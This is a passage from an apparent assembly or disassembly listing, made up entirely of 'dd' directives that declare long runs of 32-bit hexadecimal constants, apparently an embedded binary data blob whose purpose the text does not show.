		dd 0E9A7D29Ch, 8C8ECC73h, 5A5879F4h, 0A6777438h, 6400FD77h
		dd 0AC3C75E7h, 3EE8FE25h, 29839F76h, 0DB72824Dh, 0FFE149D8h
		dd 6753B90Fh, 56560E4h,	0AC8DEh, 92BFD521h, 3B6C610Fh
		dd 5B489BFAh, 86A4A804h, 14086600h, 0AAE51031h,	1ADEE9Dh
		dd 1CC26B5Ch, 0C0EF36DBh, 0B128AEE4h, 3A708CD8h, 0BBB7CB01h
		dd 0C537EB31h, 0B12CF1FCh, 0D87F80DCh, 34355017h, 542B840Fh
		dd 0F8614078h, 4C8810h,	8CE6AD22h, 0B2FCAFD9h, 0F020889Bh
		dd 0CCDA480Bh, 263780F0h, 0D4F817h, 2FE433C1h, 9C3B9858h
		dd 0F4814500h, 4C79247Ch, 5D0D0E2Eh, 3C0B1D33h,	0F27A4880h
		dd 0FD4CCEF5h, 8174C77Ch, 0AAB8A2E0h, 84FB5C6Ch, 8BD93900h
		dd 69D3D486h, 5A40D700h, 90F29570h, 627401D0h, 86F17297h
		dd 4AB0E34Eh, 0A3E5DC3h, 34108173h, 0BDAD6F48h,	77D40960h
		dd 0DA9626E0h, 0EC440044h, 0D0C542EAh, 6EE85A00h, 503B2AC7h
		dd 0BF7000DFh, 5AA6D66h, 980F0A17h, 80FD2279h, 4D83ED16h
		dd 57270331h, 6C1A8BB0h, 0C1E0138Ah, 19000528h,	0DF4FF65h
		dd 0ECE63517h, 9E600BADh, 0CCA0CB92h, 8F308A03h, 6DF5FD00h
		dd 0E9C89C25h, 0EC010A06h, 0B8BDE0h, 0BAE2CC2Ah, 4101DFC7h
		dd 70DBFE39h, 0C4408AAFh, 1FEB9BEDh, 405D74CAh,	0D5C7B6BAh
		dd 23072E5Eh, 35806C06h, 0C059F4h, 53F90F78h, 2705F42Ch
		dd 0D2A54CCFh, 4C805B6Ch, 0F668D1BAh, 5C8058h, 3BCC6A84h
		dd 2437BE40h, 80BCE7A2h, 2C5234D1h, 0EE149E7Ah,	3CE8207Fh
		dd 1600FC04h, 32C2B6F8h, 0DF4739h, 0A3A7D08h, 0B043D414h
		dd 0FF5B66E4h, 72188EE8h, 0C6F8A06Ch, 0E9A58600h, 0A61B4629h
		dd 1FF21317h, 81604044h, 78997ED2h, 9B2D0900h, 0EA9A5630h
		dd 0BB6D07F1h, 8190585Dh, 305711F5h, 9617A8B8h,	0D80EDC01h
		dd 35FCC0C1h, 953ACDh, 6531B3E5h, 7953A258h, 0D06A0207h
		dd 5B40CB54h, 0F556E5DAh, 0A66DF0h, 126686DEh, 0BCA74A0Dh
		dd 8F6CC03h, 0C057B3DDh, 0D848F7h, 229C6A50h, 605B84B9h
		dd 54E1E607h, 150F5BFh
		dd 183F2EDh, 190D1069h,	0D499598Eh, 0C80F5621h,	0A0A074D5h
		dd 0A5F3C32Bh, 1FA1160Ah, 0D1F0116h, 0E40782C4h, 8C03F514h
		dd 4099F385h, 50E59A7Ah, 928100C8h, 0C784358Dh,	473E36D8h
		dd 6058D8C9h, 0A7617150h, 8D35009Dh, 0B125E3FAh, 87026638h
		dd 0BA48C85Fh, 0D47860D5h, 8B720B51h, 7421A4DDh, 0FCE21FADh
		dd 909EAE9Ah, 832EB686h, 57430F79h, 998EE6FFh, 1F946382h
		dd 15A314C0h, 0A11763Bh, 187E3D4Fh, 0B6E76B06h,	0DDE60349h
		dd 0C4E2C2ADh, 3DD7EBA0h, 0A6E8D21Ch, 0A59226C0h, 1EEE1A94h
		dd 74575E3h, 87C7ADF7h,	1EA7B033h, 0FAF09CD4h, 0F42A9105h
		dd 0E6C1AB22h, 40DEA5E3h, 7BA893Ah, 0CDC69ABDh,	8C0BD08Dh
		dd 0E63A150Eh, 80818045h, 89957182h, 69B33FD0h,	1B184386h
		dd 0E3E09098h, 0FB9AEA0Ch, 5A14B141h, 655C4CC2h, 0D6787E0h
		dd 45434D08h, 4C290E2Ch, 9F407B57h, 0F08E1C87h,	103A9D00h
		dd 9155134Fh, 48C30001h, 0DA640BBh, 0BC00F949h,	1EB71753h
		dd 19DC928h, 0A95B7032h, 40B5CB3Ah, 581524A8h, 0F50060FAh
		dd 63E1E9AEh, 1DDE6C93h, 4410A4F1h, 80725F62h, 0EAF63CDAh
		dd 64FBB109h, 41408EACh, 0A2B21C4Fh, 0F4A6D0h, 0EECA74A5h
		dd 7DD766B9h, 1000C45Bh, 4D0A44E3h, 0F370F320h,	2C41038Fh
		dd 0F9DCA7D1h, 60148DD1h, 7318547Dh, 9DF15BE6h,	2B091FACh
		dd 426940A0h, 0E48DCF46h, 0F396C500h, 984C72Eh,	0EA700EFh
		dd 32A304D2h, 6560E7BDh, 38440141h, 0BF200E0Fh,	0D100ED2Ch
		dd 8C1B6FFEh, 0CAD84D05h, 0BC004BC8h, 9BE67AD2h, 0B5A30F58h
		dd 684AD490h, 958200C8h, 4A6D1C73h, 0E7ED1804h,	274050E6h
		dd 8D6627Fh, 82599001h,	0A7F5E2A8h, 3A9CD1C8h, 3006B5Eh
		dd 0B3D2BFFEh, 84020DE4h, 0C70B01EBh, 558C81EAh, 186806C5h
		dd 40A2EE1Ch, 16B137A9h, 72180780h, 5728FD49h, 5DB70012h
		dd 0ACF953Dh, 0F900F3B2h, 386ADDE2h, 3E2FE3A0h,	0EE000BB0h
		dd 0CF4B359Ch, 0B83F1501h, 9D3C7698h, 886960C6h, 489A6Dh
		dd 65D85949h, 0EC0ABCCEh, 0C0997580h, 6F7D8430h, 0BF00B914h
		dd 0D11B01Ch, 87343E7h,	1A05E1Fh, 70AF6B41h, 0A83E1980h
		dd 87D14AD3h, 8B8C411Ch, 0C8C86F8Ah, 0BB992F80h, 0C0B3A582h
		dd 0EF967210h, 100BA0Eh, 3D21AF0Ch, 3CE78567h, 0D89C3CA3h
		dd 8A410042h, 0EE431479h, 86AC4700h, 0BE778D6Fh, 0B471007Bh
		dd 0ABA94EB9h, 830EFC08h, 0E70FC3EBh, 0A880C9CAh, 0A5AD19h
		dd 0F1C182D8h, 0D1AC8EB4h, 90D0260Eh, 0C0FBEFC9h, 0CEAB3C08h
		dd 0ED0E1CAFh, 0A60700BFh, 592E72BBh, 0D3007AE6h, 395E5CE0h
		dd 0FC6070E8h, 0C915005Ah, 9AABAF5Dh, 947333B2h, 1B39F200h
		dd 68FCA8DAh, 0AC850E88h, 0F800D332h, 0FFF13343h, 7EF99900h
		dd 85451B01h, 63E4C4h, 42DE125Ch, 53B4D3Fh, 5DEFA000h
		dd 18454698h, 716A01F7h, 0D25AE949h, 0FD4E0F8h,	5C4C4Ch
		dd 0C372148Bh, 2086DE6h, 0BFA69B0Ah, 22C060FBh,	851C3E6Eh
		dd 0AB403A8Ch, 1946C36Dh, 97FD03D9h, 72D74E1Ch,	0B66E5801h
		dd 8BC0AB32h, 46F54E80h, 0DA67D971h, 805C0E3Eh,	65580CFCh
		dd 0A936C0h, 0AF6CB77Fh, 77647E09h, 1B47EB00h, 0ECC3B2E7h
		dd 55F70026h, 839277Ch,	0CE0305F1h, 75AD0C06h, 0C801A1F9h
		dd 3A1CC060h, 3DBCB30Fh, 0CB6AB580h, 4F3BFB9Ch,	8926F8FEh
		dd 8B3F2866h, 86B28Ah, 2F6EA8AFh, 675AAh, 3A27996Fh, 90BB9E1Ah
		dd 0AEC21900h, 630E4B9Dh, 890AAh, 0C2F4967h, 0EA3FA1B2h
		dd 99005872h, 0A64AD983h, 48616254h, 711CDC1Ah,	0E7E040ABh
		dd 0AAB9241Fh, 7E89222Fh, 428A0721h, 0B48220CAh, 0C402C060h
		dd 0C8D83627h, 0CB436061h, 0BAC601ECh, 0C0B44CEFh, 0FC713164h
		dd 7200ADA7h, 6054191h,	18CFF6h, 6AF2E6A4h, 0DF87113Eh
		dd 0C9C32000h, 3F1DEB16h, 38E3004Ah, 0F901A74Fh, 7100FB12h
		dd 0CC0EB607h, 0FC7CBCDBh, 31E30779h, 0D0A6CBE1h, 0E6824ABFh
		dd 0FA008092h, 0C1B84CA0h, 531B6Ch, 1DC037C9h, 4ACA9E43h
		dd 0A40B6200h, 0F7D5C12Dh, 906A00E4h, 8CABB376h, 0DC000F2Eh
		dd 0DA4E0BA0h, 0B8E45B31h, 3C5B265h, 48709D49h,	0B2A1A5CDh
		dd 44FF885h, 0AA626F00h, 0CB7EE651h, 0EF63AA2h,	92972CF3h
		dd 2360040h, 563820C8h,	466D3D0Eh, 0C2A1006Bh, 6BDC14B2h
		dd 81FD691Bh, 0C02864C5h, 245117E4h, 90478Ah, 3B8FAABEh
		dd 9B04C80Dh, 0E8DE52F2h, 885DB483h, 3F939468h,	5F006EC1h
		dd 0B38A5611h, 593DC7C6h, 1CAF248Bh, 19393A80h,	794FE98h
		dd 0F5F37478h, 0FB8C0066h, 1E00A34Bh, 0A51DA01Ah, 9067CDCCh
		dd 1CEC7E17h, 13B0BF3h,	14ACC18Fh, 49502022h, 91845100h
		dd 0A4F6CEEFh, 0E28D00FFh, 417D3124h, 1960C76Ah, 21BC0328h
		dd 0C5D73098h, 0C29DE090h, 0C89BE700h, 41B693F2h, 6488002Fh
		dd 7B520638h, 0B0D27356h, 0F91C2B01h, 0D4E0C3CCh, 9417003Bh
		dd 0EAA27F3Fh, 5E50137Ah, 0B100779Ch, 3CCA3EF4h, 4CD5A3D7h
		dd 7927C0h, 0C99460EDh,	78EC3099h, 5798E470h, 0FC55E000h
		dd 0B84B018Ch, 526900F6h, 0C41C0CBFh, 0F1000342h, 0CAC2E59Ch
		dd 974980h, 352D3FDBh, 0E7CDC3F8h, 81855400h, 0A7933AAFh
		dd 1ED30048h, 24535B8Fh, 58003EC4h, 1AC95075h, 5D5A676h
		dd 0A36ECB35h, 878AC065h, 0BF007CC7h, 55D4CA01h, 736BEAh
		dd 45F2ED14h, 8AC32721h, 702D5901h, 37B83D58h, 7098F1FCh
		dd 0ADB700A9h, 0D1C88C06h, 877F3642h, 8D7E2507h, 48C0D7CEh
		dd 0F7201DC6h, 0A44175DDh, 0BFC83FD9h, 5E380390h, 974C8221h
		dd 44EE12B0h, 0EA4BD89Fh, 7D5B0030h, 7EA41348h,	91002CA6h
		dd 0AA892976h, 9C417h, 0EBA386A9h, 0B5CFB8B4h, 7A00C97Fh
		dd 95461611h, 659D13h, 0E179B3DCh, 0B28E6220h, 6E6C5A01h
		dd 0F247C125h, 761ADEFCh, 95490014h, 0A37B59FEh, 0FA001DEEh
		dd 183D354h, 9E965F6h, 4423F28Fh, 97520420h, 0F407B6DCh
		dd 25CFE8A0h, 0D06E3220h, 0A8750092h, 95031E77h, 1200B958h
		dd 8BA3D944h, 96F86Ch, 8D9A3BDAh, 0AEE72D78h, 50F921FAh
		dd 5089D0C0h, 0F0539103h, 0C03C412h, 0FB3EC1CCh, 94A44A78h
		dd 0A15A39h, 9C3AE310h,	422D3B0h, 41844FE7h, 9058C00Bh
		dd 15001463h, 0EE528D7Dh, 6F2EE6h, 3139EDC9h, 0B369061Eh
		dd 0DA237000h, 0B2DE2C59h, 16861E83h, 0EA770011h, 489FFBFh
		dd 4923C50Fh, 6952605Bh, 26EF01B0h, 3E7F293Dh, 5AC8CD00h
		dd 0E597825Ch, 952AD801h, 917B90F0h, 0A8C38443h, 0EE13164Bh
		dd 0EFF700CBh, 24F54CFDh, 0CA00EA99h, 0FEADFB3Bh, 3BD9Ah
		dd 0DA66320Dh, 985FC302h, 0D97FFF00h, 72F1FC9Bh, 0AF749Fh
		dd 2795DEE0h, 0D3EE6AF9h, 0EFD8B900h, 69DD94E2h, 81672CDAh
		dd 0CE6C0024h, 0A8315378h, 0E12158B7h, 37C4BE87h, 71813FE5h
		dd 0FE1948C0h, 0C0602C4Ah, 3C006FFCh, 5C2DD4E0h, 65B5D9h
		dd 2FCE2B3Fh, 7973A968h, 51020B00h, 0BA39FEF8h,	8FA8095Ch
		dd 0F88ECB3Dh, 0C4149BC3h, 0A2496A80h, 0DE4E801Eh, 0CF2A6D80h
		dd 0CDA79Ch, 0DB9F1D63h, 7C3AEF77h, 140E6F00h, 0C0E0978Eh
		dd 0ACBE01ECh, 257D41F2h, 2DC7D495h, 0C271E6F4h, 814E6B00h
		dd 0DBB476CAh, 80B726D4h, 1DC107A8h, 224C8182h,	45108F0Ah
		dd 0B45B02EFh, 8CA50008h, 5F0063EDh, 39018044h,	123E973h
		dd 4F568959h, 0C5A660A4h, 84EE1FAh, 0F412177Ch,	0AFE84E4Bh
		dd 473FCB40h, 0E10DDA1Dh, 0F9E2B087h, 0FB140880h, 7A540967h
		dd 3F90B700h
		dd 0E470623Ah, 0EFFA02DFh, 0CF144B73h, 5A07A448h, 8A194D00h
		dd 54E6E78Bh, 6E711CEBh, 0F9F6C7FDh, 4F80FEECh,	4EAFF65h
		dd 630A9500h, 10360621h, 0E044005Bh, 2F58D7C3h,	6CEE86AEh
		dd 60FAB700h, 0FF0C3BC2h, 0AB2D0050h, 0BE9ABC77h, 0BA00C7E9h
		dd 0EEC535FDh, 34732Eh,	66246B01h, 3D7E90CCh, 3E011571h
		dd 0F6CB2FA9h, 97EFE0DEh, 0EFFCDA70h, 900E006Dh, 0C73D0C56h
		dd 17005C39h, 6FE8ED46h, 0A133F7h, 0E27D4C1h, 19DE3420h
		dd 9F109B1Eh, 4EECA580h, 122CD9h, 0E40A03A8h, 323F793Dh
		dd 9AA7B03h, 0D81D252Dh, 1224E58h, 0FC6A8F5Bh, 500A2F29h
		dd 0A3DB2898h, 65EC438h, 0BF5DA4Ch, 21D96408h, 4A89C049h
		dd 0CA3FA918h, 3A32802Ah, 0C0C5CC25h, 0F0111958h, 184D5982h
		dd 0C7150F6Fh, 0C8905F13h, 3BAD80BCh, 8A8F0A15h, 0DBF9A7F8h
		dd 0FC80DFE2h, 531A9DD2h, 7AF0C85Dh, 0DE00CAEEh, 4B9805C1h
		dd 0E89A949Eh, 20D4606Ah, 4C983D9h, 2D00327Dh, 26C419D5h
		dd 33EC78F3h, 87016F5h,	456251D0h, 8FBC171Eh, 33918930h
		dd 0B21E03D1h, 1BB1DF0Ah, 0C38F8C90h, 44CE521Eh, 6ED118B0h
		dd 0E98D6198h, 875BFDAh, 77A313DEh, 0A0A3105Fh,	0A38182B0h
		dd 0D3F75Ch, 663C27BBh,	7C978BA2h, 0BC0A0091h, 0EF4C5558h
		dd 8A00F6F5h, 0D74FDBFFh, 7D5962h, 566E0418h, 8F4EA29Ah
		dd 9CB63000h, 1BA9598h,	2B730292h, 2C9DDA7Fh, 659500DFh
		dd 74CDC06h, 70749056h,	0AA6A2039h, 910019B1h, 2FAF17CBh
		dd 0A0243DB9h, 9088BABCh, 91104C9Eh, 5933A100h,	0DFBF2118h
		dd 0D88C9900h, 0E696F3Dh, 481503EFh, 0DE591647h, 42F31AF8h
		dd 0A25C5002h, 0C07AFD53h, 1F1923D8h, 0EA179B7h, 0EC03E9Eh
		dd 8DD05F92h, 0E27C887Eh, 0B1BCBB1Fh, 0E160B403h, 284C8FC6h
		dd 74FF0032h, 0F22854FDh, 17638702h, 5F1F08h, 7748B820h
		dd 14FD2A96h, 336A139h,	849DAA90h, 0B769017Fh, 86518E10h
		dd 0EE1180F8h, 21E80323h, 314A7F7Ah, 0CA08838Dh, 63789ECFh
		dd 5F951380h, 0C9ABBh, 966C26Ah, 0CFDF3A8Eh, 0D83BBD03h
		dd 9D4CACh, 0A9738730h,	0B1C59B28h, 298D3100h, 0DFF9A4A5h
		dd 0EAA0610h, 887F9DE3h, 85AC9021h, 0C4BF1394h,	744214Fh
		dd 0DFCE00CCh, 9F8F0004h, 0E129AE72h, 6F051650h, 0E373A85Dh
		dd 18A4B401h, 0A4542431h, 0E8F1BC03h, 0D2CC01Eh, 6EC3144Dh
		dd 6900C481h, 9FA8744Eh, 8007DF5Ch, 6ACEB851h, 0BB633050h
		dd 0AE0D00C0h, 50EE1606h, 0E21FEB35h, 685C0EECh, 47C537DDh
		dd 48C024CFh, 3DD6BAh, 0DD8BA4EAh, 5C28F20Bh, 0BD21C113h
		dd 4564C700h, 3EAF7h, 0A20BEC0Eh, 2230103Dh, 0A900E9E8h
		dd 2819CF24h, 7AD004h, 66913513h, 1FE332A5h, 0F4604001h
		dd 454AB37Dh, 71D590D0h, 3DDF0086h, 0EACB1262h,	0B600B2C9h
		dd 1437EB65h, 0D56FE5h,	0C8FB9E6Ah, 8C953401h, 2F1F2578h
		dd 0BE31BCh, 97ECA189h,	0D29EDh, 0FEA4598h, 3441255Fh
		dd 0EE278F01h, 0BED1FD78h, 17D561DDh, 458EE0h, 1BB63EA9h
		dd 0ED9A2797h, 8075AE3Dh, 5DD9F2D3h, 8F5ED5h, 72F75854h
		dd 4BAD2A99h, 71F2BDF4h, 0B6BADB00h, 0FC3C7421h, 0FB6C0330h
		dd 37B77E5Fh, 909996DFh, 0D80020F2h, 1F4161AFh,	600D0F4Fh
		dd 6BCC18C0h, 550E37C6h, 60639B8Eh, 685E8B7Fh, 0F379D3h
		dd 0D0971284h, 16A2A699h, 7FBA7B0Eh, 8E5B6032h,	6F0501h
		dd 0C457DC5Eh, 69D3F106h, 0AB021800h, 0AD0B197Ah, 0E8B00052h
		dd 7C1D8BF6h, 0D801146Ch, 34C66AFFh, 0A1809AFCh, 0C879F147h
		dd 10C04F2Fh, 0DD0E9DC3h, 64CA0045h, 9069F571h,	0DA000737h
		dd 0C657A355h, 67B9Eh, 0CF1CB340h, 0E54223B2h, 0D6805900h
		dd 7F51D54Bh, 62F40076h, 0C890F3FFh, 9F0A8BFAh,	0E48303F6h
		dd 0FCFDF100h, 68A26A9h, 3F2F1ADBh, 0BCB00834h,	474420C0h
		dd 380C94A9h, 600E2B3h,	587833DAh, 81008E9Ch, 0A2356532h
		dd 3E4FC57Ch, 0E30354B5h, 0D0609EF0h, 21C89DA0h, 47003E76h
		dd 393A41EFh, 0F4713D85h, 0C3488F2h, 0A1F3D000h, 59AB0AEFh
		dd 0D62800ACh, 5D35C904h, 5F2E3E7Ah, 7A3E7A42h,	0EADB0100h
		dd 116CA067h, 4D060C15h, 9DB0CA4Eh, 9A1C9278h, 103525EEh
		dd 0E793D701h, 5C30A209h, 9CC53AD5h, 9531E130h,	200107F7h
		dd 0AC387541h, 74C0F28Dh, 648638A7h, 52FAE580h,	0EF5FBE42h
		dd 21911D03h, 0E66F4E7Fh, 47C80040h, 0CD58CED5h, 5319D727h
		dd 0E2204CD8h, 76A9E180h, 6C257D26h, 0BCFEC2EAh, 98BA5600h
		dd 69DD3E9h, 9BD71824h,	41D1388Eh, 1C83F500h, 7C3B35Dh
		dd 0DD57006Ah, 0E255BF9Ch, 4403F670h, 22BEC4FBh, 0A820F8C6h
		dd 0BA690261h, 4FB28E90h, 0C9E300DFh, 24735452h, 0A1499Bh
		dd 75D934CEh, 1A0131AEh, 4A1F76DFh, 52D4F858h, 0DD0700E1h
		dd 0C81ECDCh, 7A1F55ADh, 0AAD6FC74h, 0E92C0900h, 92F630h
		dd 0A299EE49h, 0F1A508C9h, 3FD9E201h, 7A4C5A9Fh, 604DD0CFh
		dd 35670EA3h, 738374EFh, 42E853CCh, 0A70E2A1Ch,	0E0BA31ECh
		dd 0CD892887h, 0AFE20013h, 9043CC97h, 0A000836Dh, 60A2BCA3h
		dd 1CC03C37h, 403A9F3Eh, 24428D41h, 0E50F5398h,	0D840A2B6h
		dd 16D27021h, 0F83A343h, 41BD357Fh, 2C7A9E1Bh, 0AC8080B4h
		dd 6A8845FEh, 783202C5h, 50BAC201h, 69D630E0h, 4051500h
		dd 0C53FFAB8h, 0AC71C9h, 8CAD7B98h, 2E5BE694h, 0FFF218C6h
		dd 0A38307F0h, 90C6957Eh, 0FA63E6B0h, 0A2C9DA18h, 2B0A5A90h
		dd 1E908AA5h, 7FD4CB3Dh, 62903108h, 1B00B891h, 0E93A5Bh
		dd 702EC147h, 0A8D5FE81h, 0F2FF3Eh, 0C7CC33E0h,	54D89C9h
		dd 5F73C8DDh, 0E19C0092h, 0FCCB1D54h, 51D47A41h, 0A49C50B5h
		dd 9D6A00E7h, 87049391h, 0D4011CE3h, 0EA051E10h, 25C8BA45h
		dd 4EC900EEh, 21A02AA1h, 47006713h, 949395Ah, 180B9BBh
		dd 974B2F72h, 0E094600Eh, 30001484h, 0FD736AC9h, 263B9E7Ch
		dd 0CE198Eh, 561E2A86h,	6C00E40Ah, 0D348D87h, 1F39F7A6h
		dd 80F30207h, 7AEF8ACDh, 14003099h, 871091D3h, 279A4Eh
		dd 2DD2A0A3h, 0D7AA12Ah, 0DAE3FA1Ch, 12DF48C1h,	0A06AA729h
		dd 0B4008551h, 0EB23BC88h, 2F8C8Ah, 737DDF9Ch, 0DBA982D7h
		dd 31001F71h, 9F12E0EDh, 1EB30D83h, 0CE1D378h, 1F180ED2h
		dd 2162FC00h, 989697CFh, 0D769017Dh, 1D07C9BEh,	0E357F419h
		dd 3EC3F539h, 0A17280E7h, 866B5F14h, 57007DEh, 0D0A3132Dh
		dd 551121F2h, 0E5011C7Ch, 81020EBFh, 6880453Ch,	0A293FF5Eh
		dd 8002718h, 84C7ADEDh,	0B021F730h, 0A95700E6h,	0AA74A216h
		dd 4E00EB1Dh, 5526C0E0h, 176072h, 773996CEh, 0B190E9D4h
		dd 51654A00h, 6288CA4Fh, 2E8A0086h, 0D33771D7h,	0CB0F5F15h
		dd 3D9680D0h, 510AD906h, 0F45A1D89h, 495FC18Fh,	40239042h
		dd 0E2BB1388h, 7200E47Dh, 5D3180ABh, 0C33AD6h, 0C5A23445h
		dd 0FAC8222h, 5C86E707h, 11C05516h, 1ED07705h, 0C063E315h
		dd 0C750B06Eh, 0E7776C4Eh, 62E0CD0Bh, 3B6980EEh, 1238BA8h
		dd 80164925h, 0DCCC0B57h, 0EF186E2Dh, 7E204F1Ch, 2EBE071Eh
		dd 73D2BA2Ah, 180050ADh, 0F318C53Bh, 206DEF54h,	8E0043A6h
		dd 82DFD208h, 0F50A03h,	0D69E93A9h, 0DE2E0135h,	4179F07Dh
		dd 0ED1C8C03h, 808D6F77h, 0FAABEF46h, 0E18B0AC5h, 4350A162h
		dd 0E6884924h, 0EF22511Fh, 89BD603Ah, 82BE1DF9h, 819D913Ah
		dd 0AAECFD38h, 0C1803C01h, 0A407EB3Ah, 7A0BE6A3h, 662B56Fh
		dd 0C041877Eh, 0B83F5290h
		dd 0D90E7FEEh, 6EBB4FA5h, 0CA5F803Bh, 44B61Eh, 51F0CC72h
		dd 0B74A813Dh, 0FD420800h, 9C1CB970h, 0CEE900F7h, 2A65CDFAh
		dd 0BD0020DFh, 9F59610Bh, 479538h, 76287CC6h, 0D53ACB48h
		dd 0F1DC3700h, 275CFDACh, 54E81Ch, 7958D0FBh, 1EAD7FD7h
		dd 0BDF36300h, 77AECA32h, 18440006h, 9A62CE4Bh,	73005164h
		dd 0A2CC5425h, 73B7FF9h, 0F0506BE8h, 65A00EAAh,	73FEE96Dh
		dd 4C95BC00h, 1109B48Fh, 212F0E3h, 464486C3h, 3361CC5Bh
		dd 0FCC1C821h, 8A75A600h, 0CD3C5A5Fh, 38177995h, 9E81E067h
		dd 5BDD1F89h, 8E75E496h, 37E86900h, 0AD422EA8h,	997D01C0h
		dd 7986B8B2h, 0E04931FBh, 0AF0069CCh, 2E037822h, 3DB053h
		dd 0C91CC1E4h, 66F160D2h, 0A5E58D16h, 0C05C1A0Fh, 2B065748h
		dd 0B10E00FBh, 0EAB9CFB5h, 0DD000328h, 0AC491F3Dh, 2D229AC8h
		dd 79F64638h, 7165A500h, 99B439h, 153B7D4Fh, 7B4902F4h
		dd 0A71F8100h, 0ED372027h, 97E403FBh, 9076FD19h, 0E2D8910Eh
		dd 4D2FC6D2h, 26F0050h,	0E30D58ABh, 1503C0CCh, 20EAFA9Eh
		dd 0C0547853h, 37573FD8h, 0F20A51B5h, 8083DA7Ch, 18B1CD00h
		dd 22A779h, 0C0B4D0B6h,	453BFC84h, 95424302h, 81989427h
		dd 8F38BA2Ch, 8091D01h,	0BEE444A7h, 0C4781086h,	0B814109Bh
		dd 4D34ED82h, 0EA30D004h, 6180281Ah, 4B10847Dh,	8210559Ch
		dd 271482EFh, 0C1680298h, 402BD510h, 0CBEEBC4Ch, 40801E88h
		dd 0B1423529h, 0B1D6617Fh, 178482A6h, 24593C76h, 3110A7CCh
		dd 13B93958h, 0F2407CD8h, 6745B8C6h, 60921083h,	77AC9F4Dh
		dd 22ED0C00h, 0E1B37110h, 0D2FE1415h, 0A003DC54h, 50FDF986h
		dd 0FFCCF2C0h, 11C5E50Ch, 799C0BAh, 0FC3475A1h,	74F7C01Bh
		dd 1C004595h, 93FCD7Eh,	2D80592Ah, 9760CC9Dh, 3D03146Ch
		dd 720ECB1Ch, 3BA001C6h, 0EA2D6360h, 0C7D020F2h, 0C9713E09h
		dd 8F6C2098h, 55281F42h, 78A1B080h, 0FB145E04h,	0E8E829h
		dd 95676061h, 1C1277h, 0A46EA209h, 724A2A7Fh, 0C547F307h
		dd 4F1037C1h, 2BAD4Eh, 3B25FC14h, 90D263BCh, 0A8314800h
		dd 0A4652C46h, 7B5F01E1h, 8A878544h, 0CA80CC33h, 0FF096902h
		dd 60969E2Fh, 0FE224148h, 0E0C9006Bh, 0C635EA38h, 76001F92h
		dd 0FB516FDFh, 17BCEB05h, 0A2A7A1h, 96B074ECh, 5A00288Bh
		dd 0D707CD0Dh, 2EED45h,	79EB4A01h, 5E3A70F4h, 0A81E5Ch
		dd 7E327894h, 1E7421D8h, 75CFBEFh, 6E433951h, 9F61D1E0h
		dd 0EC00FEBDh, 2493E895h, 1FA26A29h, 0F8D6777Bh, 0E2005ACCh
		dd 0D9C01040h, 0BB00E651h, 0DF09B3Eh, 0E45D2BF1h, 0BD4D00DBh
		dd 297921E0h, 4004A87h,	7017318Ah, 0E7895Bh, 0BF74D365h
		dd 0FF2F5F01h, 47054100h, 5DE86346h, 0C8320044h, 0F50EF721h
		dd 2A00F0C9h, 7C044096h, 6A2B72h, 57EE1147h, 0F715AF4Fh
		dd 8C28A500h, 91BD5339h, 5C9D007Bh, 7D1295B6h, 5100CF03h
		dd 0F4E85E1Dh, 494C83h,	0DBB8DCB3h, 0C1580DF5h,	57002890h
		dd 0F4D180A3h, 7123708Eh, 0DA171804h, 0B4A9A8A2h, 0CDAC6800h
		dd 4E30D573h, 481C92B7h, 0D7090AAEh, 128E196Bh,	0AA019184h
		dd 80EE8580h, 63410023h, 4B2902Bh, 80E7A9D7h, 0C3D1ECECh
		dd 9DEAC5h, 56A649B8h, 0A9DAF459h, 0B97CB700h, 0FA3F9247h
		dd 5B8A00FDh, 0B6C15E5Ah, 0E002AB1Eh, 4B64AFC7h, 59C960A4h
		dd 85BC00E2h, 0B20312F5h, 5700BA9Bh, 0C01E50F2h, 25CE67AAh
		dd 0DD5E9226h, 403A490Fh, 77883608h, 0FEA700BFh, 199C498h
		dd 410971E1h, 212CC33Fh, 39A406B4h, 6CB53C0h, 25FA6551h
		dd 0F20081D5h, 5897325Eh, 3AD046F3h, 52009992h,	0AE57CD21h
		dd 1FE4396Ch, 69E8F900h, 7D78BD04h, 0ECEC603Dh,	73F46EFFh
		dd 0B5E04103h, 0E152BC2Fh, 0E5E4C1CBh, 1FEC01h,	0A9DAFA2h
		dd 6B4EE126h, 0CF5DE000h, 6E94DF38h, 68A0014Bh,	4080F141h
		dd 3C29FCC8h, 737F7900h, 1810F569h, 2B3400B8h, 0E6EB1DADh
		dd 6802EE88h, 23FA96A3h, 260068F9h, 1D3F00B2h, 0CFF8F49Dh
		dd 95002D61h, 0D06713E4h, 0D9E096h, 1FF62981h, 0A8F41143h
		dd 16834000h, 0ED1051E2h, 6534CE7h, 0ACCE4C00h,	21928BDAh
		dd 9B67DC00h, 0FC153182h, 5B18C30Ch, 80ED74F2h,	0F76F7D4Bh
		dd 0E796CF00h, 0B493851Eh, 0F249161Bh, 7DD007E4h, 4E270CEh
		dd 240132ADh, 88E35BA6h, 9B201544h, 2625006Fh, 5A2DA2B4h
		dd 8C18792Eh, 82680ECDh, 662F009Eh, 6F02314Fh, 5F3BD145h
		dd 0DC60057h, 0D01D7872h, 0FF070015h, 3105EA4Ah, 5B00CF20h
		dd 73CB3570h, 0A6B6C2h,	0E2F41F72h, 0C0636ACDh,	5AAA3F60h
		dd 1E2045F9h, 80B96BDAh, 34E14102h, 0E90343B5h,	0AE4BFDB0h
		dd 0F0501718h, 9D9E0071h, 4FC1C39Fh, 0E152D800h, 0B633CDE6h
		dd 0C6861EF4h, 0BE5C40h, 47F5AAE3h, 0D100A7E4h,	44655EF8h
		dd 7FD90841h, 27540074h, 0E25B9DF9h, 0A0079C90h, 42FDFFFAh
		dd 0C8312162h, 0F38587Ch, 29F92E76h, 5FBA3A20h,	0DC00D0C9h
		dd 746698AEh, 5D9CCDh, 0AF715EE4h, 548E1912h, 0B77D2CF4h
		dd 2B973Fh, 92CBA8DBh, 0FB36BBh, 0EEF2AB0h, 0B898CF86h
		dd 0A83F700Eh, 0FE40BE6Fh, 7649C87Bh, 0CC14CB0h, 0E69C4000h
		dd 0D27F5236h, 0B9D96900h, 8FA572C4h, 0DCFC00A9h, 55DB469Ah
		dd 0B7BDA0Fh, 663BD800h, 8981BFAEh, 4F410079h, 0F2B9248Ah
		dd 88010F16h, 0E14E3D54h, 62F41838h, 0BF111D81h, 6E807B73h
		dd 7B9FE0D6h, 0FC18E21Ch, 0EE1886DDh, 0C0B20B78h, 0A4A07F2Fh
		dd 570639D7h, 8E9FFD00h, 0E8F644EEh, 65BF0921h,	60204A14h
		dd 56113F51h, 44F7D00h,	26F1B75Eh, 781417C1h, 0A188007Eh
		dd 0D7BA30F9h, 0BCFDCC00h, 7151F642h, 0FCD6044Ah, 0FE18118Fh
